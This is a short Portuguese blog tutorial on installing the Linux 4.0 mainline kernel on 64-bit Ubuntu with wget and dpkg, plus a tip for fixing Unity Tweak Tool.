Já que atualizamos o Sistema Operacional vamos aproveitar e instalar o novo Kernel 4.0 do Linux, qual a vantagem? Esse novo Kernel torna desnecessário novas reinicializações durante suas atualizações :0

Só que dessa vez usaremos a tela de terminal para isso, sigamos os seguintes passos:

1. Baixar os arquivos necessários para Sistemas 64 bits:
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.0-vivid/linux-headers-4.0.0-040000_4.0.0-040000.201504121935_all.deb
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.0-vivid/linux-image-4.0.0-040000-generic_4.0.0-040000.201504121935_amd64.deb
$ wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.0-vivid/linux-headers-4.0.0-040000-generic_4.0.0-040000.201504121935_amd64.deb 
2. Proceder sua instalação:
$ sudo dpkg -i *.deb
3. Remover os arquivos temporários:
$ rm -rf $HOME/atualiza_kernel
Agora basta reinicializar o computador e estará tudo pronto e atualizado.

Obrigado e até a próxima
Fernando Anselmo

Dica: Se possui o Unity Tweak Tool e ele deixou de funcionar. Abra uma janela do terminal e digite o seguinte comando: sudo apt-get install unity-webapps-common.